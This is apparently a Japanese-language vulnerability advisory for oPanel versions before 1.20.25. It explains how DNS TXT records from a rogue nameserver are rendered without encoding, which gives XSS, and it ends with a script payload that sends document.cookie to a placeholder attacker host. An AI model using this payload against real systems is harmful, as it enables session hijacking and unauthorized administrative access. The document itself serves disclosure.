
oPanel(v1.20.25 より前のバージョン)には、DNS 応答の不適切な処理とサニタイズに起因するクロスサイトスクリプティング (XSS) の脆弱性が存在します。パネルが攻撃者管理下のネームサーバーに対して DNS クエリ(例:ドメイン情報の取得、DNS 伝搬の確認、TXT レコードのクエリ)を実行すると、返された DNS レコードが適切な HTML エンコードなしに Web インターフェースに直接反映されます。
攻撃者は、TXT レコードクエリに対して悪意のある JavaScript ペイロードで応答するように不正な DNS サーバーを設定することで、この脆弱性を悪用できます。認証済みの oPanel ユーザー(管理者など)が DNS 応答が表示されるページを閲覧すると、ブラウザセッションのコンテキスト内でペイロードが実行されます。
悪用に成功すると、攻撃者は被害者のブラウザで任意の JavaScript を実行できます。概念実証で示されているように、これを利用して機密性の高い認証 Cookie(document.cookie)を窃取し、完全なセッションハイジャックと oPanel 環境への不正な管理アクセスを実現できます。
この脆弱性の悪用には、攻撃者が悪意のある DNS サーバーと、窃取されたデータを取得するための HTTP リスナーをセットアップする必要があります。
攻撃者は、UDP ポート 53 で動作する不正な DNS サーバーを実行し、あらゆる TXT クエリに対して XSS ペイロードで応答するように設定します。
悪意のある TXT レコードペイロード:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>